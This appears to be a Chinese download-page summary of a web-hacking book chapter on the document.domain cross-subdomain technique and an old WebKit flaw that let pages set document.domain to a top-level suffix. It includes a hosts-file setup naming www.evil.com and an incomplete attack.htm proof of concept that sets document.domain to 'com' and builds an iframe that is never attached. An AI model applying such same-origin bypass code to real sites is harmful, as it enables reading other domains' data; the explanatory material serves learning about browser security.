Web前端黑客技术揭秘:跨子域document.domain技巧

需积分: 0 0 下载量 43 浏览量 更新于2024-08-05 收藏 304KB PDF 举报
Web前端黑客技术揭秘之跨子域document.domain技巧 跨子域是指在不同的子域名下共享资源或实现通信的技术。document.domain技巧是浏览器提供的一种机制,允许开发者在不同的子域名下共享资源或实现跨域通信。该技巧的原理是通过设置document.domain属性来指定当前域或更高级的域,从而实现跨子域访问。 在现代Web应用中,许多网站都会将不同的子业务放到不同的子域名下,例如www.foo.com、app.foo.com、blog.foo.com、message.foo.com等。这些子域名下通常都会存在一个proxy.html文件,该文件中包含了一个script标签,用于设置document.domain属性,例如:<script>document.domain="foo.com";</script>。这段代码将当前域设置为foo.com,从而允许当前页面访问foo.com域下的资源。 然而,浏览器对document.domain属性的设置有一定的限制。根据浏览器的安全策略,document.domain属性只能被设置为当前域或更高级的域。如果试图设置document.domain为其他域,浏览器将报权限错误。 在WebKit内核浏览器中,有一个缺陷(由sog1发现),该缺陷允许开发者将document.domain属性设置为顶级域的后缀,例如com。利用这个缺陷,可以实现跨子域访问。 下面是一个实例,演示如何利用这个缺陷实现跨子域访问: 首先,创建一个readme.txt文件,内容如下: ``` 设置hosts: 127.0.0.1 www.evil.com 127.0.0.1 user.proxy.com ``` 然后,创建一个attack.htm文件,内容如下: ``` <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> </head> <body> <script> document.domain="com";//设置域为WebKit认为的顶级域 function inj_iframe(src,onload){ /* 注入框架 */ var o=document.createElement("iframe"); o.src=src; o.width=o.height=300; o.id="proxy"; if(onload)o.onload=onload;//iframe加载完成后执行onload函数 } </script> </body> </html> ``` 在WebKit内核浏览器中,访问http://www.evil.com/proxy/attack.htm将会触发该缺陷,从而实现跨子域访问。 跨子域document.domain技巧是浏览器提供的一种机制,允许开发者在不同的子域名下共享资源或实现跨域通信。然而,浏览器对document.domain属性的设置有一定的限制,开发者需要遵守这些限制以避免权限错误。同时,WebKit内核浏览器中的缺陷也可以被利用来实现跨子域访问。